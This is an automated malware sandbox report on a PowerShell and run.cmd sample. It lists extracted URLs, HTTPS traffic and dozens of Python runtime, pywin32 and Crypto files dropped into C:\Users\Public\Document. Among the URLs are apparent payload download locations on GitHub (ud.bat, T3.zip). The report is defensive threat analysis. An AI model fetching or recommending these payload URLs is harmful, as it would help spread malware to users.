Source: powershell.exe, 00000003.00000002.2092598910.00000245D6F2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7E25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 00000003.00000002.2092598910.00000245D8809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: ECC.py.3.dr	String found in binary or memory: http://www.ietf.org/rfc/rfc1421.txt
Source: ECC.py.3.dr	String found in binary or memory: http://www.ietf.org/rfc/rfc1423.txt
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.johndcook.com/blog/2008/09/26/comparing-three-methods-of-computing-standard-deviation/
Source: ECC.py.3.dr	String found in binary or memory: http://www.openssh.com/txt/rfc5656.txt
Source: powershell.exe, 00000003.00000002.2092598910.00000245D8809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: powershell.exe, 00000003.00000002.2092598910.00000245D8542000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D8538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: redirector_with_filter.cpython-310.pyc.3.dr	String found in binary or memory: http://www.python.orgz
Source: powershell.exe, 00000003.00000002.2092598910.00000245D826A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D825F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.robotstxt.org/norobots-rfc.txt
Source: powershell.exe, 00000003.00000002.2092598910.00000245D826A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D825F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sitemaps.org/protocol.html
Source: cookiejar.py.3.dr	String found in binary or memory: http://wwwsearch.sf.net/):
Source: python.exe, 00000006.00000003.1874356653.000001F83E472000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1873557432.000001F83E466000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1871511769.000001F83E466000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1872618219.000001F83E472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D80D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://zooko.com/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7B2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aiosmtpd.readthedocs.io/)
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: android.cpython-310.pyc.3.dr	String found in binary or memory: https://android.stackexchange.com/a/216132
Source: python.exe, 00000006.00000003.1898234585.000001F83F1B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue25942
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7B16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7B0D000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836684925.000001F83E466000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836537700.000001F83EC22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29585
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7E9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue31672
Source: powershell.exe, 00000003.00000002.2120864071.00000245E6598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2120864071.00000245E6598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2120864071.00000245E6598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/draft-miller-ssh-agent-04
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc1421
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc1423
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5208
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5656
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5915
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5958
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8032
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8709
Source: pywin32_bootstrap.py.3.dr	String found in binary or memory: https://docs.python.org/3/reference/import.html#__path__
Source: test_GCM.cpython-310.pyc.3.dr	String found in binary or memory: https://eprint.iacr.org/2013/157.pdfc
Source: ECC.py.3.dr	String found in binary or memory: https://flak.tedunangst.com/post/new-openssh-key-format-and-bcrypt-pbkdf
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/sit
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7B95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/4325783
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6747000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6747000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2124852303.00000245EE952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: functools.cpython-310.pyc.3.dr	String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7998000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7610000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D785D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D787E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7982000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D77F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D79B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7692000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D76FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D79DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D790A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7606000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D78E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7952000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D77CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: PEM.cpython-310.pyc.3.dr	String found in binary or memory: https://github.com/openssl/openssl/blob/master/include/openssl/pem.h
Source: decoder.py2.3.dr, encoder.py.3.dr, encoder.py1.3.dr	String found in binary or memory: https://github.com/pyasn1/pyasn1/issues/9
Source: __init__.cpython-310.pyc10.3.dr	String found in binary or memory: https://github.com/pypa/packagingz
Source: tags.py.3.dr	String found in binary or memory: https://github.com/pypa/pip/issues/3383#issuecomment-173267692
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7ACA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7AD8000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1871511769.000001F83E3F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: python.exe, 00000006.00000003.1895819290.000001F83F954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/7160#discussion_r195405230
Source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp, run.cmd	String found in binary or memory: https://github.com/ty9989/u/raw/main/ud.bat
Source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp, run.cmd	String found in binary or memory: https://github.com/ty9989/z/raw/main/T3.zip
Source: powershell.exe, 00000003.00000002.2092002679.00000245D4875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ty9989/z/raw/main/t3.zip
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6B34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D6B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2680
Source: __init__.cpython-310.pyc.2165719841968.6.dr	String found in binary or memory: https://json.org
Source: powershell.exe, 00000003.00000002.2092598910.00000245D82D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: powershell.exe, 00000003.00000002.2120864071.00000245E66DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2120864071.00000245E6598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: error.py.3.dr, error.py0.3.dr, univ.py.3.dr, debug.py.3.dr, decoder.py2.3.dr, encoder.py.3.dr, encoder.py1.3.dr	String found in binary or memory: https://pyasn1.readthedocs.io/en/latest/license.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D69DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000003.00000002.2092598910.00000245D69DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/ty9989/z/main/T3.zip
Source: test_ChaCha20.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-arciszewski-xchacha-03
Source: ECC.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc5480
Source: ECC.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc5915
Source: test_ChaCha20.py.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7539
Source: connectionpool.cpython-310.pyc.2165736480976.6.dr	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN)
Source: powershell.exe, 00000003.00000002.2092598910.00000245D848E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D849A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D84B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ibm.com/
Source: libcrypto-1_1.dll.3.dr	String found in binary or memory: https://www.openssl.org/H
Source: powershell.exe, 00000003.00000002.2092598910.00000245D82D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D83CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D83C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D712C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D886E000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1864785193.000001F83EC68000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1862418108.000001F83F219000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1862989300.000001F83EEE5000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1862671521.000001F83EE43000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1863622840.000001F83EE43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7B16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7B0D000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836684925.000001F83E466000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836537700.000001F83EC22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6E88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D6E94000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836684925.000001F83E466000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: ECC.py.3.dr	String found in binary or memory: https://www.secg.org/sec1-v2.pdf
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7C3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sqlite.org/lang_conflict.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.statisticshowto.com/probability-and-statistics/z-score/

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.10:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.10:49705 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\DLLs\python_tools.cat

Jump to dropped file

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ras.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32process.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32profile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\winxpgui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32print.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32security.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32transaction.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32trace.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
